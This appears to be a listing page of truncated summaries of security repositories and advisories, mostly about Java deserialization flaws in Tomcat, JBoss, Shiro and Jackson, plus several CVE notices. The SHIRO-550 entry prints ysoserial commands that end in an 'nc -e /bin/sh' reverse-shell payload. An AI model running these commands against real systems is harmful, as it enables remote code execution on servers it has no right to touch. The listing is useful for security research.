CVE-2020-9484

CVE-2020-9484 Воспроизведение уязвимости удалённого выполнения кода при десериализации сессий Apache Tomcat CVE-2020-9484 с помощью Kali 2.0 Окружение: 1. Kali 2.0 2. apache-tomcat-7.0.61-CVE-2020-9484.tar.gz веб-приложение — s2-053, в его каталог lib добавлен commons-collections4-4.0.jar Запуск...

ysoserial

ysoserial Инструмент, созданный для демонстрации концепции proof-of-concept и генерации полезных нагрузок, эксплуатирующих небезопасную десериализацию объектов Java. Описание Первоначально выпущен в рамках доклада на AppSecCali 2015 «Marshalling Pickles: как десериализация объектов испортит вам...

Jboss_JMXInvokerServlet_Deserialization_RCE

JbossJMXInvokerServletDeserializationRCE Использование уязвимости десериализации Java с помощью Burp Suite 0x01 Настройка уязвимости десериализации Jboss JMXInvokerServlet Тестовая среда: уязвимость десериализации JBoss JMXInvokerServlet Принцип уязвимости: JBoss считывает переданный пользователе...

BurpSuite-collections

Burp-Suite-collections Projets divers liés à BurpSuite, plugins principalement non issus du BApp Store boutique Toute traduction ou utilisation de BurpSuite nécessite que vous ayez configuré l'environnement Java au préalable !!! Tutoriel associé Dernière version après 202212 L'activation peut êtr...

attack-stix-data

Данные ATT&CK® STIX MITRE ATT&CK — это глобально доступная база знаний о тактиках и техниках противника, основанная на наблюдениях из реального мира. База знаний ATT&CK используется как основа для разработки конкретных моделей угроз и методологий в частном секторе, в государственном секторе, а...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Лаборатория небезопасной десериализации Java Базовое Java REST-приложение, уязвимое к небезопасной десериализации, приводящей к RCE удалённому выполнению кода. Проект должен запускаться на Java 8u45 Основано на Maven со следующими зависимостями: jackson-databind 2.2.2...

One-Liner-Collections

Коллекции однострочников Этот репозиторий содержит список однострочников с описаниями и требованиями к установке ──────────────────────────────────────────────────────────────────────── SQL-инъекция Требования к установке 1. Subfinder : https://github.com/projectdiscovery/subfinder 2. GAU :...

SHIRO-550

Уязвимость десериализации Shiro RememberMe 1.2.4 SHIRO-550 commons-collections-3.2.1.jar java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "10.10.20.166:12345" |python exp.py java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 12345 CommonsCollections5 'nc -e /bin/sh...

CVE-2024-58290-Xhibiter-SQLi

CVE-2024-58290-Xhibiter-SQLi Preuve de concept PoC pour l'injection SQL dans Xhibiter NFT Marketplace 1.10.2 point de terminaison Collections. Découverte par Sohel Yousef. CVE-2024-58290 : Injection SQL dans Xhibiter NFT Marketplace Titre de l'exploit : Xhibiter NFT Marketplace 1.10.2 - Injection...

Rocky Linux 8 [CIQ] Security Update: apache-commons-collections / apache-commons-lang / bea-stax-api / etc Multiple Vulnerabilities (crlba-2019_3416)

The Rocky Linux 8 host has packages installed that are affected by multiple vulnerabilities as referenced in the CIQ crlba-20193416 advisory. For detailed information on changes in this release, see the Rocky Linux 8.1 Release Notes linked from the References section. This advisory is provided by...

CVE-2023-43208

CVE-2023-43208 — Mirth Connect RCE Exploit de preuve de concept pour CVE-2023-43208 , une vulnérabilité d'exécution de code à distance non authentifiée dans Mirth Connect versions antérieures à 4.4.1. Description Mirth Connect est un moteur d'intégration de soins de santé open-source largement...

cve-2026-47777

CVE-2026-47777 — Обход авторизации избранных коллекций Mastodon Обзор Я ответственно раскрыл уязвимость обхода авторизации высокой степени серьезности , затрагивающую экспериментальный конвейер федерации избранных коллекций Mastodon. Идентификатор CVE: CVE-2026-47777 Затронутый компонент...

CVE-2015-6420

CVE-2015-6420 Уязвимость десериализации Ссылки Анализ цепочки использования CC при уязвимости десериализации Java...

BIT-MONGODB-2026-18711 Use-After-Free in MongoDB Query Execution Engine Leads to Denial of Service and Potential Memory Disclosure

An issue in MongoDB Server's query execution engine could allow an authenticated user with read and write privileges to cause an internal reference to be used after the underlying memory has been freed, when running certain queries against time-series collections. This could result in a server...

CVE-2025-24813

CVE-2025-24813 Tomcat PoC PoC для авторизованной среды CTF/лаборатории. Он эксплуатирует CVE-2025-24813 через частичную запись PUT файла сессии Tomcat, а затем запускает десериализацию с помощью JSESSIONID. Предварительные требования Python 3 Модуль Python requests Java JDK java и javac Включённы...

CVE-2025-24813

CVE-2025-24813 Описание Этот репозиторий содержит понятные инструкции по быстрому развёртыванию Tomcat v9.0.90 с java 25.0.1 2025-10-21 LTS на Windows Server 2019 Standard для упражнений по имитации угроз кибербезопасности. exploit.py использует ysoserial-all.jar для создания полезной нагрузки с...

Red Hat JBoss - Insecure Deserialization

Red Hat JBoss Application Server 4.x, 5.x, 6.x contains an insecure deserialization vulnerability in the JMXInvokerServlet and EJBInvokerServlet HTTP Invoker endpoints. These endpoints deserialize arbitrary Java objects from unauthenticated HTTP POST requests. An attacker can send a crafted Apach...

EUVD-2026-84380

In MISP, the CollectionsController add method enforced the sharing-group usability authorization check and element capture only when the HTTP request method was POST. However, the underlying CRUDComponent::add method persists data on both POST and PUT requests. As a result, an authenticated user...

CVE-2026-95671 MISP Collections: Missing Authorization Check for Sharing Group on PUT Request in collections/add

In MISP, the CollectionsController add method enforced the sharing-group usability authorization check and element capture only when the HTTP request method was POST. However, the underlying CRUDComponent::add method persists data on both POST and PUT requests. As a result, an authenticated user...

CVE-2026-95671 MISP Collections: Missing Authorization Check for Sharing Group on PUT Request in collections/add

In MISP, the CollectionsController add method enforced the sharing-group usability authorization check and element capture only when the HTTP request method was POST. However, the underlying CRUDComponent::add method persists data on both POST and PUT requests. As a result, an authenticated user...